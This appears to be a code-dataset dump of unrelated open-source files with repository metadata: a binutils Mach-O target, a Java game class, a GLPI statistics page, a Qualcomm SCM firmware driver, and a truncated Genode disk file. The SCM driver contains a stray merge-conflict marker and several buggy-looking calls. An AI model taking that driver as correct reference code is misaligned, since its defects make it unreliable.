#error Mach-O fat files must always be big-endian.
#endif /* ((TARGET_ARCHIVE) && (! TARGET_BIG_ENDIAN)) */
static const bfd_mach_o_backend_data TARGET_NAME_BACKEND =
{
bfd_mach_o_swap_reloc_in,
bfd_mach_o_swap_reloc_out,
bfd_mach_o_print_thread
};
const bfd_target TARGET_NAME =
{
TARGET_STRING, /* Name. */
bfd_target_mach_o_flavour,
#if TARGET_BIG_ENDIAN
BFD_ENDIAN_BIG, /* Target byte order. */
BFD_ENDIAN_BIG, /* Target headers byte order. */
#else
BFD_ENDIAN_LITTLE, /* Target byte order. */
BFD_ENDIAN_LITTLE, /* Target headers byte order. */
#endif
(HAS_RELOC | EXEC_P | /* Object flags. */
HAS_LINENO | HAS_DEBUG |
HAS_SYMS | HAS_LOCALS | DYNAMIC | WP_TEXT | D_PAGED),
(SEC_CODE | SEC_DATA | SEC_ROM | SEC_HAS_CONTENTS
| SEC_ALLOC | SEC_LOAD | SEC_RELOC), /* Section flags. */
'_', /* symbol_leading_char. */
' ', /* ar_pad_char. */
16, /* ar_max_namelen. */
#if TARGET_BIG_ENDIAN
bfd_getb64, bfd_getb_signed_64, bfd_putb64,
bfd_getb32, bfd_getb_signed_32, bfd_putb32,
bfd_getb16, bfd_getb_signed_16, bfd_putb16, /* Data. */
bfd_getb64, bfd_getb_signed_64, bfd_putb64,
bfd_getb32, bfd_getb_signed_32, bfd_putb32,
bfd_getb16, bfd_getb_signed_16, bfd_putb16, /* Hdrs. */
#else
bfd_getl64, bfd_getl_signed_64, bfd_putl64,
bfd_getl32, bfd_getl_signed_32, bfd_putl32,
bfd_getl16, bfd_getl_signed_16, bfd_putl16, /* data */
bfd_getl64, bfd_getl_signed_64, bfd_putl64,
bfd_getl32, bfd_getl_signed_32, bfd_putl32,
bfd_getl16, bfd_getl_signed_16, bfd_putl16, /* hdrs */
#endif /* TARGET_BIG_ENDIAN */
{ /* bfd_check_format. */
#if TARGET_ARCHIVE
_bfd_dummy_target,
_bfd_dummy_target,
bfd_mach_o_archive_p,
_bfd_dummy_target,
#else
_bfd_dummy_target,
bfd_mach_o_object_p,
bfd_generic_archive_p,
bfd_mach_o_core_p
#endif
},
{ /* bfd_set_format. */
bfd_false,
bfd_mach_o_mkobject,
_bfd_generic_mkarchive,
bfd_mach_o_mkobject,
},
{ /* bfd_write_contents. */
bfd_false,
bfd_mach_o_write_contents,
_bfd_write_archive_contents,
bfd_mach_o_write_contents,
},
BFD_JUMP_TABLE_GENERIC (bfd_mach_o),
BFD_JUMP_TABLE_COPY (bfd_mach_o),
BFD_JUMP_TABLE_CORE (bfd_mach_o),
#if TARGET_ARCHIVE
BFD_JUMP_TABLE_ARCHIVE (bfd_mach_o),
#else
BFD_JUMP_TABLE_ARCHIVE (_bfd_archive_bsd),
#endif
BFD_JUMP_TABLE_SYMBOLS (bfd_mach_o),
BFD_JUMP_TABLE_RELOCS (bfd_mach_o),
BFD_JUMP_TABLE_WRITE (bfd_mach_o),
BFD_JUMP_TABLE_LINK (bfd_mach_o),
BFD_JUMP_TABLE_DYNAMIC (bfd_mach_o),
/* Alternative endian target. */
NULL,
/* Back-end data. */
&TARGET_NAME_BACKEND
};
|
wanghao-xznu/vte
|
openlibs/binutils-2.19.51.0.12/bfd/mach-o-target.c
|
C
|
gpl-2.0
| 8,211
|
package com.javarush.test.level25.lesson16.big01;
/**
* Класс для бомбы.
*/
public class Bomb extends BaseObject
{
public Bomb(double x, double y)
{
super(x, y, 1);
}
/**
* Отрисовываем себя на холсте.
*/
@Override
public void draw(Canvas canvas)
{
canvas.setPoint(x,y,'B');
}
/**
* Двигаем себя вниз на один ход.
*/
@Override
public void move()
{
y++;
}
}
|
MER-GROUP/JavaRushHomeWork
|
src/com/javarush/test/level25/lesson16/big01/Bomb.java
|
Java
|
gpl-2.0
| 519
|
<?php
/**
* ---------------------------------------------------------------------
* GLPI - Gestionnaire Libre de Parc Informatique
* Copyright (C) 2015-2022 Teclib' and contributors.
*
* http://glpi-project.org
*
* based on GLPI - Gestionnaire Libre de Parc Informatique
* Copyright (C) 2003-2014 by the INDEPNET Development Team.
*
* ---------------------------------------------------------------------
*
* LICENSE
*
* This file is part of GLPI.
*
* GLPI is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation; either version 2 of the License, or
* (at your option) any later version.
*
* GLPI is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with GLPI. If not, see <http://www.gnu.org/licenses/>.
* ---------------------------------------------------------------------
*/
use Glpi\Stat\Data\Sglobal\StatDataAverageSatisfaction;
use Glpi\Stat\Data\Sglobal\StatDataSatisfaction;
use Glpi\Stat\Data\Sglobal\StatDataTicketAverageTime;
use Glpi\Stat\Data\Sglobal\StatDataTicketNumber;
include('../inc/includes.php');
Html::header(__('Statistics'), $_SERVER['PHP_SELF'], "helpdesk", "stat");
Session::checkRight("statistic", READ);
if (empty($_GET["date1"]) && empty($_GET["date2"])) {
$year = date("Y") - 1;
$_GET["date1"] = date("Y-m-d", mktime(1, 0, 0, (int)date("m"), (int)date("d"), $year));
$_GET["date2"] = date("Y-m-d");
}
if (
!empty($_GET["date1"])
&& !empty($_GET["date2"])
&& (strcmp($_GET["date2"], $_GET["date1"]) < 0)
) {
$tmp = $_GET["date1"];
$_GET["date1"] = $_GET["date2"];
$_GET["date2"] = $tmp;
}
Stat::title();
if (!$item = getItemForItemtype($_GET['itemtype'])) {
exit;
}
$stat = new Stat();
$stat->displaySearchForm(
$_GET['itemtype'],
$_GET['date1'],
$_GET['date2']
);
$stat_params = [
'itemtype' => $_GET['itemtype'],
'date1' => $_GET['date1'],
'date2' => $_GET['date2'],
];
$stat->displayLineGraphFromData(new StatDataTicketNumber($stat_params));
$stat->displayLineGraphFromData(new StatDataTicketAverageTime($stat_params));
if ($_GET['itemtype'] == 'Ticket') {
$stat->displayLineGraphFromData(new StatDataSatisfaction($stat_params));
$stat->displayLineGraphFromData(new StatDataAverageSatisfaction($stat_params));
}
Html::footer();
|
stweil/glpi
|
front/stat.global.php
|
PHP
|
gpl-2.0
| 2,657
|
/* Copyright (c) 2010,2015, The Linux Foundation. All rights reserved.
>>>>>>> firmware: qcom: scm: Split out 32-bit specific SCM code
* Copyright (C) 2015 Linaro Ltd.
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 and
* only version 2 as published by the Free Software Foundation.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA
* 02110-1301, USA.
*/
#include <linux/slab.h>
#include <linux/io.h>
#include <linux/module.h>
#include <linux/mutex.h>
#include <linux/errno.h>
#include <linux/err.h>
#include <linux/qcom_scm.h>
#include <linux/dma-mapping.h>
#include <asm/cacheflush.h>
#include "qcom_scm.h"
#define QCOM_SCM_ENOMEM -5
#define QCOM_SCM_EOPNOTSUPP -4
#define QCOM_SCM_EINVAL_ADDR -3
#define QCOM_SCM_EINVAL_ARG -2
#define QCOM_SCM_ERROR -1
#define QCOM_SCM_INTERRUPTED 1
#define QCOM_SCM_FLAG_COLDBOOT_CPU0 0x00
#define QCOM_SCM_FLAG_COLDBOOT_CPU1 0x01
#define QCOM_SCM_FLAG_COLDBOOT_CPU2 0x08
#define QCOM_SCM_FLAG_COLDBOOT_CPU3 0x20
#define QCOM_SCM_FLAG_WARMBOOT_CPU0 0x04
#define QCOM_SCM_FLAG_WARMBOOT_CPU1 0x02
#define QCOM_SCM_FLAG_WARMBOOT_CPU2 0x10
#define QCOM_SCM_FLAG_WARMBOOT_CPU3 0x40
#define IOMMU_SECURE_PTBL_SIZE 3
#define IOMMU_SECURE_PTBL_INIT 4
#define IOMMU_SET_CP_POOL_SIZE 5
#define IOMMU_SECURE_MAP 6
#define IOMMU_SECURE_UNMAP 7
#define IOMMU_SECURE_MAP2 0xb
#define IOMMU_SECURE_MAP2_FLAT 0x12
#define IOMMU_SECURE_UNMAP2 0xc
struct qcom_scm_entry {
int flag;
void *entry;
};
static struct qcom_scm_entry qcom_scm_wb[] = {
{ .flag = QCOM_SCM_FLAG_WARMBOOT_CPU0 },
{ .flag = QCOM_SCM_FLAG_WARMBOOT_CPU1 },
{ .flag = QCOM_SCM_FLAG_WARMBOOT_CPU2 },
{ .flag = QCOM_SCM_FLAG_WARMBOOT_CPU3 },
};
static DEFINE_MUTEX(qcom_scm_lock);
/**
* struct qcom_scm_command - one SCM command buffer
* @len: total available memory for command and response
* @buf_offset: start of command buffer
* @resp_hdr_offset: start of response buffer
* @id: command to be executed
* @buf: buffer returned from qcom_scm_get_command_buffer()
*
* An SCM command is laid out in memory as follows:
*
* ------------------- <--- struct qcom_scm_command
* | command header |
* ------------------- <--- qcom_scm_get_command_buffer()
* | command buffer |
* ------------------- <--- struct qcom_scm_response and
* | response header | qcom_scm_command_to_response()
* ------------------- <--- qcom_scm_get_response_buffer()
* | response buffer |
* -------------------
*
* There can be arbitrary padding between the headers and buffers so
* you should always use the appropriate qcom_scm_get_*_buffer() routines
* to access the buffers in a safe manner.
*/
struct qcom_scm_command {
__le32 len;
__le32 buf_offset;
__le32 resp_hdr_offset;
__le32 id;
__le32 buf[0];
};
/**
* struct qcom_scm_response - one SCM response buffer
* @len: total available memory for response
* @buf_offset: start of response data relative to start of qcom_scm_response
* @is_complete: indicates if the command has finished processing
*/
struct qcom_scm_response {
__le32 len;
__le32 buf_offset;
__le32 is_complete;
};
/**
* alloc_qcom_scm_command() - Allocate an SCM command
* @cmd_size: size of the command buffer
* @resp_size: size of the response buffer
*
* Allocate an SCM command, including enough room for the command
* and response headers as well as the command and response buffers.
*
* Returns a valid &qcom_scm_command on success or %NULL if the allocation fails.
*/
static struct qcom_scm_command *alloc_qcom_scm_command(size_t cmd_size, size_t resp_size)
{
struct qcom_scm_command *cmd;
size_t len = sizeof(*cmd) + sizeof(struct qcom_scm_response) + cmd_size +
resp_size;
u32 offset;
cmd = kzalloc(PAGE_ALIGN(len), GFP_KERNEL);
if (cmd) {
cmd->len = cpu_to_le32(len);
offset = offsetof(struct qcom_scm_command, buf);
cmd->buf_offset = cpu_to_le32(offset);
cmd->resp_hdr_offset = cpu_to_le32(offset + cmd_size);
}
return cmd;
}
/**
* free_qcom_scm_command() - Free an SCM command
* @cmd: command to free
*
* Free an SCM command.
*/
static inline void free_qcom_scm_command(struct qcom_scm_command *cmd)
{
kfree(cmd);
}
/**
* qcom_scm_command_to_response() - Get a pointer to a qcom_scm_response
* @cmd: command
*
* Returns a pointer to a response for a command.
*/
static inline struct qcom_scm_response *qcom_scm_command_to_response(
const struct qcom_scm_command *cmd)
{
return (void *)cmd + le32_to_cpu(cmd->resp_hdr_offset);
}
/**
* qcom_scm_get_command_buffer() - Get a pointer to a command buffer
* @cmd: command
*
* Returns a pointer to the command buffer of a command.
*/
static inline void *qcom_scm_get_command_buffer(const struct qcom_scm_command *cmd)
{
return (void *)cmd->buf;
}
/**
* qcom_scm_get_response_buffer() - Get a pointer to a response buffer
* @rsp: response
*
* Returns a pointer to a response buffer of a response.
*/
static inline void *qcom_scm_get_response_buffer(const struct qcom_scm_response *rsp)
{
return (void *)rsp + le32_to_cpu(rsp->buf_offset);
}
static u32 smc(u32 cmd_addr)
{
int context_id;
register u32 r0 asm("r0") = 1;
register u32 r1 asm("r1") = (u32)&context_id;
register u32 r2 asm("r2") = cmd_addr;
do {
asm volatile(
__asmeq("%0", "r0")
__asmeq("%1", "r0")
__asmeq("%2", "r1")
__asmeq("%3", "r2")
#ifdef REQUIRES_SEC
".arch_extension sec\n"
#endif
"smc #0 @ switch to secure world\n"
: "=r" (r0)
: "r" (r0), "r" (r1), "r" (r2)
: "r3");
} while (r0 == QCOM_SCM_INTERRUPTED);
return r0;
}
static int __qcom_scm_call(const struct qcom_scm_command *cmd)
{
int ret;
u32 cmd_addr = virt_to_phys(cmd);
/*
* Flush the command buffer so that the secure world sees
* the correct data.
*/
secure_flush_area(cmd, cmd->len);
ret = smc(cmd_addr);
if (ret < 0)
ret = qcom_scm_remap_error(ret);
return ret;
}
static void qcom_scm_inv_range(unsigned long start, unsigned long end)
{
u32 cacheline_size, ctr;
asm volatile("mrc p15, 0, %0, c0, c0, 1" : "=r" (ctr));
cacheline_size = 4 << ((ctr >> 16) & 0xf);
start = round_down(start, cacheline_size);
end = round_up(end, cacheline_size);
outer_inv_range(start, end);
while (start < end) {
asm ("mcr p15, 0, %0, c7, c6, 1" : : "r" (start)
: "memory");
start += cacheline_size;
}
dsb();
isb();
}
/**
* qcom_scm_call() - Send an SCM command
* @svc_id: service identifier
* @cmd_id: command identifier
* @cmd_buf: command buffer
* @cmd_len: length of the command buffer
* @resp_buf: response buffer
* @resp_len: length of the response buffer
*
* Sends a command to the SCM and waits for the command to finish processing.
*
* A note on cache maintenance:
* Note that any buffers that are expected to be accessed by the secure world
* must be flushed before invoking qcom_scm_call and invalidated in the cache
* immediately after qcom_scm_call returns. Cache maintenance on the command
* and response buffers is taken care of by qcom_scm_call; however, callers are
* responsible for any other cached buffers passed over to the secure world.
*/
static int qcom_scm_call(u32 svc_id, u32 cmd_id, const void *cmd_buf,
size_t cmd_len, void *resp_buf, size_t resp_len)
{
int ret;
struct qcom_scm_command *cmd;
struct qcom_scm_response *rsp;
unsigned long start, end;
cmd = alloc_qcom_scm_command(cmd_len, resp_len);
if (!cmd)
return -ENOMEM;
cmd->id = cpu_to_le32((svc_id << 10) | cmd_id);
if (cmd_buf)
memcpy(qcom_scm_get_command_buffer(cmd), cmd_buf, cmd_len);
mutex_lock(&qcom_scm_lock);
ret = __qcom_scm_call(cmd);
mutex_unlock(&qcom_scm_lock);
if (ret)
goto out;
rsp = qcom_scm_command_to_response(cmd);
start = (unsigned long)rsp;
do {
qcom_scm_inv_range(start, start + sizeof(*rsp));
} while (!rsp->is_complete);
end = (unsigned long)qcom_scm_get_response_buffer(rsp) + resp_len;
qcom_scm_inv_range(start, end);
if (resp_buf)
memcpy(resp_buf, qcom_scm_get_response_buffer(rsp), resp_len);
out:
free_qcom_scm_command(cmd);
return ret;
}
#define SCM_CLASS_REGISTER (0x2 << 8)
#define SCM_MASK_IRQS BIT(5)
#define SCM_ATOMIC(svc, cmd, n) (((((svc) << 10)|((cmd) & 0x3ff)) << 12) | \
SCM_CLASS_REGISTER | \
SCM_MASK_IRQS | \
(n & 0xf))
/**
* qcom_scm_call_atomic1() - Send an atomic SCM command with one argument
* @svc_id: service identifier
* @cmd_id: command identifier
* @arg1: first argument
*
* This shall only be used with commands that are guaranteed to be
* uninterruptable, atomic and SMP safe.
*/
static s32 qcom_scm_call_atomic1(u32 svc, u32 cmd, u32 arg1)
{
int context_id;
register u32 r0 asm("r0") = SCM_ATOMIC(svc, cmd, 1);
register u32 r1 asm("r1") = (u32)&context_id;
register u32 r2 asm("r2") = arg1;
asm volatile(
__asmeq("%0", "r0")
__asmeq("%1", "r0")
__asmeq("%2", "r1")
__asmeq("%3", "r2")
#ifdef REQUIRES_SEC
".arch_extension sec\n"
#endif
"smc #0 @ switch to secure world\n"
: "=r" (r0)
: "r" (r0), "r" (r1), "r" (r2)
: "r3");
return r0;
}
u32 qcom_scm_get_version(void)
{
int context_id;
static u32 version = -1;
register u32 r0 asm("r0");
register u32 r1 asm("r1");
if (version != -1)
return version;
mutex_lock(&qcom_scm_lock);
r0 = 0x1 << 8;
r1 = (u32)&context_id;
do {
asm volatile(
__asmeq("%0", "r0")
__asmeq("%1", "r1")
__asmeq("%2", "r0")
__asmeq("%3", "r1")
#ifdef REQUIRES_SEC
".arch_extension sec\n"
#endif
"smc #0 @ switch to secure world\n"
: "=r" (r0), "=r" (r1)
: "r" (r0), "r" (r1)
: "r2", "r3");
} while (r0 == QCOM_SCM_INTERRUPTED);
version = r1;
mutex_unlock(&qcom_scm_lock);
return version;
}
EXPORT_SYMBOL(qcom_scm_get_version);
/*
* Set the cold/warm boot address for one of the CPU cores.
*/
static int qcom_scm_set_boot_addr(u32 addr, int flags)
{
struct {
__le32 flags;
__le32 addr;
} cmd;
cmd.addr = cpu_to_le32(addr);
cmd.flags = cpu_to_le32(flags);
return qcom_scm_call(QCOM_SCM_SVC_BOOT, QCOM_SCM_BOOT_ADDR,
&cmd, sizeof(cmd), NULL, 0);
}
/**
* qcom_scm_set_cold_boot_addr() - Set the cold boot address for cpus
* @entry: Entry point function for the cpus
* @cpus: The cpumask of cpus that will use the entry point
*
* Set the cold boot address of the cpus. Any cpu outside the supported
* range would be removed from the cpu present mask.
*/
int __qcom_scm_set_cold_boot_addr(void *entry, const cpumask_t *cpus)
{
int flags = 0;
int cpu;
int scm_cb_flags[] = {
QCOM_SCM_FLAG_COLDBOOT_CPU0,
QCOM_SCM_FLAG_COLDBOOT_CPU1,
QCOM_SCM_FLAG_COLDBOOT_CPU2,
QCOM_SCM_FLAG_COLDBOOT_CPU3,
};
if (!cpus || (cpus && cpumask_empty(cpus)))
return -EINVAL;
for_each_cpu(cpu, cpus) {
if (cpu < ARRAY_SIZE(scm_cb_flags))
flags |= scm_cb_flags[cpu];
else
set_cpu_present(cpu, false);
}
return qcom_scm_set_boot_addr(virt_to_phys(entry), flags);
}
/**
* qcom_scm_set_warm_boot_addr() - Set the warm boot address for cpus
* @entry: Entry point function for the cpus
* @cpus: The cpumask of cpus that will use the entry point
*
* Set the Linux entry point for the SCM to transfer control to when coming
* out of a power down. CPU power down may be executed on cpuidle or hotplug.
*/
int __qcom_scm_set_warm_boot_addr(void *entry, const cpumask_t *cpus)
{
int ret;
int flags = 0;
int cpu;
/*
* Reassign only if we are switching from hotplug entry point
* to cpuidle entry point or vice versa.
*/
for_each_cpu(cpu, cpus) {
if (entry == qcom_scm_wb[cpu].entry)
continue;
flags |= qcom_scm_wb[cpu].flag;
}
/* No change in entry function */
if (!flags)
return 0;
ret = qcom_scm_set_boot_addr(virt_to_phys(entry), flags);
if (!ret) {
for_each_cpu(cpu, cpus)
qcom_scm_wb[cpu].entry = entry;
}
return ret;
}
/**
* qcom_scm_cpu_power_down() - Power down the cpu
* @flags - Flags to flush cache
*
* This is an end point to power down cpu. If there was a pending interrupt,
* the control would return from this function, otherwise, the cpu jumps to the
* warm boot entry point set for this cpu upon reset.
*/
void __qcom_scm_cpu_power_down(u32 flags)
{
qcom_scm_call_atomic1(QCOM_SCM_SVC_BOOT, QCOM_SCM_CMD_TERMINATE_PC,
flags & QCOM_SCM_FLUSH_FLAG_MASK);
}
int __qcom_scm_is_call_available(u32 svc_id, u32 cmd_id)
{
int ret;
__le32 svc_cmd = cpu_to_le32((svc_id << 10) | cmd_id);
__le32 ret_val = 0;
ret = qcom_scm_call(QCOM_SCM_SVC_INFO, QCOM_IS_CALL_AVAIL_CMD, &svc_cmd,
sizeof(svc_cmd), &ret_val, sizeof(ret_val));
if (ret)
return ret;
return le32_to_cpu(ret_val);
}
int __qcom_scm_hdcp_req(struct qcom_scm_hdcp_req *req, u32 req_cnt, u32 *resp)
{
if (req_cnt > QCOM_SCM_HDCP_MAX_REQ_CNT)
return -ERANGE;
return qcom_scm_call(QCOM_SCM_SVC_HDCP, QCOM_SCM_CMD_HDCP,
req, req_cnt * sizeof(*req), resp, sizeof(*resp));
}
int __qcom_scm_restart_proc(u32 proc_id, int restart, u32 *resp)
{
return qcom_scm_call(QCOM_SCM_SVC_PIL, proc_id,
&restart, sizeof(restart),
&resp, sizeof(resp));
}
bool __qcom_scm_pas_supported(u32 peripheral)
{
u32 ret_val;
int ret;
ret = qcom_scm_call(QCOM_SCM_SVC_PIL, QCOM_SCM_PAS_IS_SUPPORTED_CMD,
&peripheral, sizeof(peripheral),
&ret_val, sizeof(ret_val));
return ret ? false : !!ret_val;
}
int __qcom_scm_pas_init_image(struct device *dev, u32 peripheral, const void *metadata, size_t size)
{
dma_addr_t mdata_phys;
void *mdata_buf;
u32 scm_ret;
int ret;
struct pas_init_image_req {
u32 proc;
u32 image_addr;
} request;
/*
* During the scm call memory protection will be enabled for the meta
* data blob, so make sure it's physically contiguous, 4K aligned and
* non-cachable to avoid XPU violations.
*/
mdata_buf = dma_alloc_coherent(dev, size, &mdata_phys, GFP_KERNEL);
if (!mdata_buf) {
pr_err("Allocation of metadata buffer failed.\n");
return -ENOMEM;
}
memcpy(mdata_buf, metadata, size);
request.proc = peripheral;
request.image_addr = mdata_phys;
ret = qcom_scm_call(QCOM_SCM_SVC_PIL, QCOM_SCM_PAS_INIT_IMAGE_CMD,
&request, sizeof(request),
&scm_ret, sizeof(scm_ret));
dma_free_coherent(dev, size, mdata_buf, mdata_phys);
return ret ? : scm_ret;
}
int __qcom_scm_pas_mem_setup(u32 peripheral, phys_addr_t addr, phys_addr_t size)
{
u32 scm_ret;
int ret;
struct pas_init_image_req {
u32 proc;
u32 addr;
u32 len;
} request;
request.proc = peripheral;
request.addr = addr;
request.len = size;
ret = qcom_scm_call(QCOM_SCM_SVC_PIL, QCOM_SCM_PAS_MEM_SETUP_CMD,
&request, sizeof(request),
&scm_ret, sizeof(scm_ret));
return ret ? : scm_ret;
}
int __qcom_scm_pas_auth_and_reset(u32 peripheral)
{
u32 scm_ret;
int ret;
ret = qcom_scm_call(QCOM_SCM_SVC_PIL, QCOM_SCM_PAS_AUTH_AND_RESET_CMD,
&peripheral, sizeof(peripheral),
&scm_ret, sizeof(scm_ret));
return ret ? : scm_ret;
}
int __qcom_scm_pas_shutdown(u32 peripheral)
{
u32 scm_ret;
int ret;
ret = qcom_scm_call(QCOM_SCM_SVC_PIL, QCOM_SCM_PAS_SHUTDOWN_CMD,
&peripheral, sizeof(peripheral),
&scm_ret, sizeof(scm_ret));
return ret ? : scm_ret;
}
int __qcom_scm_pil_init_image_cmd(u32 proc, u64 image_addr)
{
int ret;
u32 scm_ret = 0;
struct {
u32 proc;
u32 image_addr;
} req;
req.proc = proc;
req.image_addr = image_addr;
ret = qcom_scm_call(SCM_SVC_PIL, PAS_INIT_IMAGE_CMD, &req,
sizeof(req), &scm_ret, sizeof(scm_ret));
if (ret)
return ret;
return scm_ret;
}
int __qcom_scm_pil_mem_setup_cmd(u32 proc, u64 start_addr, u32 len)
{
u32 scm_ret = 0;
int ret;
struct {
u32 proc;
u32 start_addr;
u32 len;
} req;
req.proc = proc;
req.start_addr = start_addr;
req.len = len;
ret = qcom_scm_call(SCM_SVC_PIL, PAS_MEM_SETUP_CMD, &req,
sizeof(req), &scm_ret, sizeof(scm_ret));
if (ret)
return ret;
return scm_ret;
}
int __qcom_scm_pil_auth_and_reset_cmd(u32 proc)
{
u32 scm_ret = 0;
int ret;
u32 req;
req = proc;
ret = qcom_scm_call(SCM_SVC_PIL, PAS_AUTH_AND_RESET_CMD, &req,
sizeof(req), &scm_ret, sizeof(scm_ret));
if (ret)
return ret;
return scm_ret;
}
int __qcom_scm_pil_shutdown_cmd(u32 proc)
{
u32 scm_ret = 0;
int ret;
u32 req;
req = proc;
ret = qcom_scm_call(SCM_SVC_PIL, PAS_SHUTDOWN_CMD, &req,
sizeof(req), &scm_ret, sizeof(scm_ret));
if (ret)
return ret;
return scm_ret;
}
#define SCM_SVC_UTIL 0x3
#define SCM_SVC_MP 0xc
#define IOMMU_DUMP_SMMU_FAULT_REGS 0x0c
int __qcom_scm_iommu_dump_fault_regs(u32 id, u32 context, u64 addr, u32 len)
{
struct {
u32 id;
u32 cb_num;
u32 buff;
u32 len;
} req;
int resp = 0;
return qcom_scm_call(SCM_SVC_UTIL, IOMMU_DUMP_SMMU_FAULT_REGS,
&req, sizeof(req), &resp, 1);
}
int __qcom_scm_iommu_set_cp_pool_size(u32 size, u32 spare)
{
struct {
u32 size;
u32 spare;
} req;
int retval;
req.size = size;
req.spare = spare;
return qcom_scm_call(SCM_SVC_MP, IOMMU_SET_CP_POOL_SIZE,
&req, sizeof(req), &retval, sizeof(retval));
}
int __qcom_scm_iommu_secure_ptbl_size(u32 spare, int psize[2])
{
struct {
u32 spare;
} req;
req.spare = spare;
return qcom_scm_call(SCM_SVC_MP, IOMMU_SECURE_PTBL_SIZE, &req,
sizeof(req), psize, sizeof(psize));
}
int __qcom_scm_iommu_secure_ptbl_init(u64 addr, u32 size, u32 spare)
{
struct {
u32 addr;
u32 size;
u32 spare;
} req = {0};
int ret, ptbl_ret = 0;
req.addr = addr;
req.size = size;
req.spare = spare;
ret = qcom_scm_call(SCM_SVC_MP, IOMMU_SECURE_PTBL_INIT, &req,
sizeof(req), &ptbl_ret, sizeof(ptbl_ret));
if (ret)
return ret;
if (ptbl_ret)
return ptbl_ret;
return 0;
}
int __qcom_scm_iommu_secure_map(u64 list, u32 list_size, u32 size,
u32 id, u32 ctx_id, u64 va, u32 info_size,
u32 flags)
{
struct {
struct {
unsigned int list;
unsigned int list_size;
unsigned int size;
} plist;
struct {
unsigned int id;
unsigned int ctx_id;
unsigned int va;
unsigned int size;
} info;
unsigned int flags;
} req;
u32 resp;
int ret;
req.plist.list = list;
req.plist.list_size = list_size;
req.plist.size = size;
req.info.id = id;
req.info.ctx_id = ctx_id;
req.info.va = va;
req.info.size = info_size;
req.flags = flags;
ret = qcom_scm_call(SCM_SVC_MP, IOMMU_SECURE_MAP2, &req, sizeof(req),
&resp, sizeof(resp));
if (ret || resp)
return -EINVAL;
return 0;
}
int __qcom_scm_iommu_secure_unmap(u32 id, u32 ctx_id, u64 va,
u32 size, u32 flags)
{
struct {
struct {
unsigned int id;
unsigned int ctx_id;
unsigned int va;
unsigned int size;
} info;
unsigned int flags;
} req;
int ret, scm_ret;
req.info.id = id;
req.info.ctx_id = ctx_id;
req.info.va = va;
req.info.size = size;
req.flags = flags;
return qcom_scm_call(SCM_SVC_MP, IOMMU_SECURE_UNMAP2, &req,
sizeof(req), &scm_ret, sizeof(scm_ret));
}
int __qcom_scm_get_feat_version(u32 feat)
{
int ret;
if (__qcom_scm_is_call_available(SCM_SVC_INFO, GET_FEAT_VERSION_CMD)) {
u32 version;
if (!qcom_scm_call(SCM_SVC_INFO, GET_FEAT_VERSION_CMD, &feat,
sizeof(feat), &version, sizeof(version)))
return version;
}
return 0;
}
#define RESTORE_SEC_CFG 2
int __qcom_scm_restore_sec_cfg(u32 device_id, u32 spare)
{
struct {
u32 device_id;
u32 spare;
} req;
int ret, scm_ret = 0;
req.device_id = device_id;
req.spare = spare;
ret = qcom_scm_call(SCM_SVC_MP, RESTORE_SEC_CFG, &req, sizeof(req),
scm_ret, sizeof(scm_ret));
if (ret || scm_ret)
return ret ? ret : -EINVAL;
return 0;
}
#define TZBSP_VIDEO_SET_STATE 0xa
int __qcom_scm_set_video_state(u32 state, u32 spare)
{
struct {
u32 state;
u32 spare;
} req;
int scm_ret = 0;
int ret;
req.state = state;
req.spare = spare;
ret = qcom_scm_call(SCM_SVC_BOOT, TZBSP_VIDEO_SET_STATE, &req,
sizeof(req), &scm_ret, sizeof(scm_ret));
if (ret || scm_ret)
return ret ? ret : -EINVAL;
return 0;
}
#define TZBSP_MEM_PROTECT_VIDEO_VAR 0x8
int __qcom_scm_mem_protect_video_var(u32 start, u32 size, u32 nonpixel_start,
u32 nonpixel_size)
{
struct {
u32 cp_start;
u32 cp_size;
u32 cp_nonpixel_start;
u32 cp_nonpixel_size;
} req;
int ret, scm_ret;
req.cp_start = start;
req.cp_size = size;
req.cp_nonpixel_start = nonpixel_start;
req.cp_nonpixel_size = nonpixel_size;
ret = qcom_scm_call(SCM_SVC_MP, TZBSP_MEM_PROTECT_VIDEO_VAR, &req,
sizeof(req), &scm_ret, sizeof(scm_ret));
if (ret || scm_ret)
return ret ? ret : -EINVAL;
return 0;
}
int __qcom_scm_init(void)
{
return 0;
}
|
96boards/linux
|
drivers/firmware/qcom_scm-32.c
|
C
|
gpl-2.0
| 20,863
|
/*
* \brief Block interface
* \author Markus Partheymueller
* \author Alexander Boettcher
* \date 2012-09-15
*/
/*
* Copyright (C) 2012 Intel Corporation
* Copyright (C) 2013 Genode Labs GmbH
*
* This file is distributed under the terms of the GNU General Public License
* version 2.
*
* The code is partially based on the Vancouver VMM, which is distributed
* under the terms of the GNU General Public License version 2.
*
* Modifications by Intel Corporation are contributed under the terms and
* conditions of the GNU General Public License version 2.
*/
/* Genode includes */
#include <base/allocator_avl.h>
#include <base/printf.h>
#include <base/sleep.h>
#include <base/thread.h>
#include <block_session/connection.h>
#include <util/string.h>
#include <base/heap.h>
#include <base/lock.h>
/* VMM utility includes */
#include <vmm/utcb_guard.h>
/* local includes */
#include "disk.h"
/* Seoul includes */
#include <host/dma.h>
static Genode::Signal_receiver* disk_receiver()
{
static Genode::Signal_receiver receiver;
return &receiver;
}
static Genode::Heap * disk_heap() {
using namespace Genode;
static Heap heap(env()->ram_session(), env()->rm_session(), 4096);
return &heap;
}
Vancouver_disk::Vancouver_disk(Synced_motherboard &mb,
char * backing_store_base,
Genode::size_t backing_store_size)
:
Thread("vmm_disk"),
_motherboard(mb),
_backing_store_base(backing_store_base),
_backing_store_size(backing_store_size),
_tslab_msg(disk_heap()), _tslab_dma(disk_heap()), _tslab_avl(disk_heap())
{
/* initialize struct with 0 size */
for (int i=0; i < MAX_DISKS; i++) {
_diskcon[i].blk_size = 0;
}
start();
}
void Vancouver_disk::register_host_operations(Motherboard &motherboard)
{
motherboard.bus_disk.add(this, receive_static<MessageDisk>);
}
void Vancouver_disk::entry()
{
Logging::printf("Hello, this is Vancouver_disk.\n");
while (true) {
